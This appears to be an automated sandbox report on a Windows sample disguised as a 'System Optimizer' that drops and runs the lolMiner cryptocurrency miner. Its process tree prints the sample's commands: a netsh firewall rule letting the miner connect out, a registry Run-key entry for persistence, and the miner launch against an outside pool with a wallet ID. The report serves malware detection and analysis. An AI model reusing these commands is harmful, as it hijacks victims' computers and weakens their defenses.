ccc378efd93655fa275f6689c7062f3ed7c807d7548fb38e25254d4967f49232

Analysis

max time kernel
33s
max time network
38s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
23/02/2024, 19:07

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General

Target

System.Optimizer.v2.exe
Size

7.3MB
MD5

4799ecfa1c49e7717b7ac1ba1eef2f98
SHA1

99a7fa53bb524bf2438773f742c0e9371c30ac5d
SHA256

ccc378efd93655fa275f6689c7062f3ed7c807d7548fb38e25254d4967f49232
SHA512

37ad1e0d2ec00b81ed4e595ab566c8db26d105b6c057a5d0a0e5f9af232b6a8f7dd4c9e61ae26eab057d61522dc269490496c20d4cdb57478cfeb457aa59955b
SSDEEP

196608:9BZY3aF3loDfyGZ21X5Sp6GemDMPwuWwJnPGihnRE+:lY3aoDfD0pfaMPhVK+

Score

8^/10

evasion upx

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1684	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
4612	lolMiner.exe

Loads dropped DLL 15 IoCs

pid	Process
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe
3248	System.Optimizer.v2.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000002a845-96.dat	upx
behavioral2/memory/4612-98-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp	upx
behavioral2/memory/4612-99-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp	upx
behavioral2/memory/4612-100-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp	upx

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 3248	2020	System.Optimizer.v2.exe	78
PID 2020 wrote to memory of 3248	2020	System.Optimizer.v2.exe	78
PID 3248 wrote to memory of 1684	3248	System.Optimizer.v2.exe	79
PID 3248 wrote to memory of 1684	3248	System.Optimizer.v2.exe	79
PID 3248 wrote to memory of 584	3248	System.Optimizer.v2.exe	81
PID 3248 wrote to memory of 584	3248	System.Optimizer.v2.exe	81
PID 3248 wrote to memory of 4612	3248	System.Optimizer.v2.exe	82
PID 3248 wrote to memory of 4612	3248	System.Optimizer.v2.exe	82

C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe
"C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe
  "C:\Users\Admin\AppData\Local\Temp\System.Optimizer.v2.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="BlockProgram" dir=out program="C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe" profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    PID:1684
- - C:\Windows\SYSTEM32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SystemOptimizer /t REG_SZ /d 'C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H0 '
    3⤵
    PID:584
- - C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe
    .\data\1.84\lolMiner.exe -a GRAM --pool api-pool.gramcoin.org:443 --user UQBvLKd7IsKoB-pT89OBNKYpK1-ugvLF5335J3q8kRR8P8H0
    3⤵
    - Executes dropped EXE
    PID:4612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI20202\VCRUNTIME140.dll

Filesize
106KB

MD5
4585a96cc4eef6aafd5e27ea09147dc6

SHA1
489cfff1b19abbec98fda26ac8958005e88dd0cb

SHA256
a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

SHA512
d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\VCRUNTIME140.dll

Filesize
64KB

MD5
6ddced470268add42e478a6c68f33724

SHA1
598725bf8d23a76ba148db155d2dfaa670fa2a75

SHA256
dd7c6d62a581809ab069f23605a5db6d6902d19b97ae32658f2b6af11fe78591

SHA512
9911033e808070fea5c621178bcdeb8102ee9b8cf57b3cab411fd6130b31e307376c7b797287c91f3c6d0282c279e6933549ff3f72de218c3e1f605443db1cd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_bz2.pyd

Filesize
82KB

MD5
a62207fc33140de460444e191ae19b74

SHA1
9327d3d4f9d56f1846781bcb0a05719dea462d74

SHA256
ebcac51449f323ae3ae961a33843029c34b6a82138ccd9214cf99f98dd2148c2

SHA512
90f9db9ee225958cb3e872b79f2c70cb1fd2248ebaa8f3282afff9250285852156bf668f5cfec49a4591b416ce7ebaaac62d2d887152f5356512f2347e3762b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_decimal.pyd

Filesize
247KB

MD5
692c751a1782cc4b54c203546f238b73

SHA1
a103017afb7badaece8fee2721c9a9c924afd989

SHA256
c70f05f6bc564fe400527b30c29461e9642fb973f66eec719d282d3d0b402f93

SHA512
1b1ad0ca648bd50ce6e6af4be78ad818487aa336318b272417a2e955ead546c9e0864b515150cd48751a03ca8c62f9ec91306cda41baea52452e3fcc24d57d39

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_hashlib.pyd

Filesize
63KB

MD5
787b82d4466f393366657b8f1bc5f1a9

SHA1
658639cddda55ac3bfc452db4ec9cf88851e606b

SHA256
241322647ba9f94bdc3ae387413ffb57ae14c8cf88bd564a31fe193c6ca43e37

SHA512
afcf66962958f38eec8b591aa30d380eb0e1b41028836058ff91b4d1472658de9fba3262f5c27ba688bd73da018e938f398e45911cd37584f623073067f575b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_lzma.pyd

Filesize
155KB

MD5
0c7ea68ca88c07ae6b0a725497067891

SHA1
c2b61a3e230b30416bc283d1f3ea25678670eb74

SHA256
f74aaf0aa08cf90eb1eb23a474ccb7cb706b1ede7f911daf7ae68480765bdf11

SHA512
fd52f20496a12e6b20279646663d880b1354cffea10793506fe4560ed7da53e4efba900ae65c9996fbb3179c83844a9674051385e6e3c26fb2622917351846b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_queue.pyd

Filesize
31KB

MD5
06248702a6cd9d2dd20c0b1c6b02174d

SHA1
3f14d8af944fe0d35d17701033ff1501049e856f

SHA256
ac177cd84c12e03e3a68bca30290bc0b8f173eee518ef1fa6a9dce3a3e755a93

SHA512
5b22bbff56a8b48655332ebd77387d307f5c0a526626f3654267a34bc4863d8afaf08ff3946606f3cf00b660530389c37bdfac91843808dbebc7373040fec4c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_socket.pyd

Filesize
77KB

MD5
26dd19a1f5285712068b9e41808e8fa0

SHA1
90c9a112dd34d45256b4f2ed38c1cbbc9f24dba5

SHA256
eaabf6b78840daeaf96b5bdbf06adf0e4e2994dfeee5c5e27fefd824dbda5220

SHA512
173e1eda05d297d7da2193e8566201f05428437adcac80aecefe80f82d46295b15ce10990b5c080325dc59a432a587eef84a15ec688a62b82493ad501a1e4520

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\_ssl.pyd

Filesize
157KB

MD5
ab0e4fbffb6977d0196c7d50bc76cf2d

SHA1
680e581c27d67cd1545c810dbb175c2a2a4ef714

SHA256
680ad2de8a6cff927822c1d7dd22112a3e8a824e82a7958ee409a7b9ce45ec70

SHA512
2bff84a8ec7a26dde8d1bb09792ead8636009c8ef3fa68300a75420197cd7b6c8eaaf8db6a5f97442723e5228afa62961f002948e0eeee8c957c6517547dffba

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\base_library.zip

Filesize
384KB

MD5
a24a61926117aff60e625c4b746d1e56

SHA1
559c84b765dfd945a26c80ad5a810b462e811563

SHA256
bdd01339242283b11fa52017ee2b03df1bbe9a664286cec2c2cece0045385db8

SHA512
836862d82f64f521443c41ae83e1409dea3869fdc4be5ca73f006cd2c101873f342cfe3865aecc704773bf8b8f9d7955cad472ad852a84e185ccb10366ee6f14

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\certifi\cacert.pem

Filesize
285KB

MD5
d3e74c9d33719c8ab162baa4ae743b27

SHA1
ee32f2ccd4bc56ca68441a02bf33e32dc6205c2b

SHA256
7a347ca8fef6e29f82b6e4785355a6635c17fa755e0940f65f15aa8fc7bd7f92

SHA512
e0fb35d6901a6debbf48a0655e2aa1040700eb5166e732ae2617e89ef5e6869e8ddd5c7875fa83f31d447d4abc3db14bffd29600c9af725d9b03f03363469b4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\charset_normalizer\md.cp311-win_amd64.pyd

Filesize
10KB

MD5
723ec2e1404ae1047c3ef860b9840c29

SHA1
8fc869b92863fb6d2758019dd01edbef2a9a100a

SHA256
790a11aa270523c2efa6021ce4f994c3c5a67e8eaaaf02074d5308420b68bd94

SHA512
2e323ae5b816adde7aaa14398f1fdb3efe15a19df3735a604a7db6cadc22b753046eab242e0f1fbcd3310a8fbb59ff49865827d242baf21f44fd994c3ac9a878

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

Filesize
116KB

MD5
9ea8098d31adb0f9d928759bdca39819

SHA1
e309c85c1c8e6ce049eea1f39bee654b9f98d7c5

SHA256
3d9893aa79efd13d81fcd614e9ef5fb6aad90569beeded5112de5ed5ac3cf753

SHA512
86af770f61c94dfbf074bcc4b11932bba2511caa83c223780112bda4ffb7986270dc2649d4d3ea78614dbce6f7468c8983a34966fc3f2de53055ac6b5059a707

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\libcrypto-1_1.dll

Filesize
3.3MB

MD5
9d7a0c99256c50afd5b0560ba2548930

SHA1
76bd9f13597a46f5283aa35c30b53c21976d0824

SHA256
9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939

SHA512
cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\libcrypto-1_1.dll

Filesize
2.8MB

MD5
baf03d617b3a04134be98ef59a143539

SHA1
03895b6c57e829fded4203a5de80e401c19b89d6

SHA256
898dca706e7dd4f0444b125241676e74dfaf63b512a97c2b61090125094c037b

SHA512
2a85ebad5f18d4004ea8a8dde3e2e6d80bc96dd5ae55b225c934782480ac448a52b2b9b6cc14ed2b6574dcad30460be31e73d7529e05842451528e0ca116e6b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\libssl-1_1.dll

Filesize
688KB

MD5
bec0f86f9da765e2a02c9237259a7898

SHA1
3caa604c3fff88e71f489977e4293a488fb5671c

SHA256
d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd

SHA512
ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\python311.dll

Filesize
1.4MB

MD5
4412eea553276b1b005baeab48f7b7f9

SHA1
5a453ced2de3963db38a417aa06742bcae7fb05b

SHA256
178b08fcd6ffa88805179fe90d2cb6673da456f4183d1e7c88f820018645783f

SHA512
fc874fd00cc5535f13490ae31731452c7307c9f559175924dd22c1f2cfd5d581cd804e4ff74c586194e086ef8128b9bd040b28c4429fb243b330268c4d5e35a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\python311.dll

Filesize
384KB

MD5
7503e66ce35353c1c7916977d9b7b989

SHA1
cd6595aab708ee918844168f46df738889d572e3

SHA256
a8b8a634da37bf09b2c079a0f0c1f7bcfb9225ec81697b7ee542e53b0621c74b

SHA512
e0a62d04c338b846bc4e6709d57252b17e85122846834e58fb8ab5f727769b21c4e1fffd4b903d70d12f963b0527e05b7aab62a19f3bb793d5300de73979afff

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\select.pyd

Filesize
29KB

MD5
756c95d4d9b7820b00a3099faf3f4f51

SHA1
893954a45c75fb45fe8048a804990ca33f7c072d

SHA256
13e4d9a734a453a3613e11b6a518430099ad7e3d874ea407d1f9625b7f60268a

SHA512
0f54f0262cf8d71f00bf5666eb15541c6ecc5246cd298efd3b7dd39cdd29553a8242d204c42cfb28c537c3d61580153200373c34a94769f102b3baa288f6c398

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20202\unicodedata.pyd

Filesize
1.1MB

MD5
58f7988b50cba7b793884f580c7083e1

SHA1
d52c06b19861f074e41d8b521938dee8b56c1f2e

SHA256
e36d14cf49ca2af44fae8f278e883341167bc380099dac803276a11e57c9cfa1

SHA512
397fa46b90582f8a8cd7df23b722204c38544717bf546837c45e138b39112f33a1850be790e248fca5b5ecd9ed7c91cd1af1864f72717d9805c486db0505fb9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\data\1.84\lolMiner.exe

Filesize
8.8MB

MD5
38389ca20898924e51994fe0f23aa697

SHA1
9be2bfd31c9d6f69fae6a9f7b5121d0d0238b0d3

SHA256
15d3f2a3623493f1745c75db71d4f1082f006591434b3e21ab8c7419b2ac7645

SHA512
f341488a73aea907895bbcf58eca688f637e496df8969e0e4cf5a11daa6889ed3e6affbf10b835a84830def08b69e91b0d97c17eeaed6efeed2a6eb906006f43

Download Submit
memory/4612-98-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

Filesize
91.0MB

Download
memory/4612-99-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

Filesize
91.0MB

Download
memory/4612-100-0x00007FF7C51D0000-0x00007FF7CACD0000-memory.dmp

Filesize
91.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads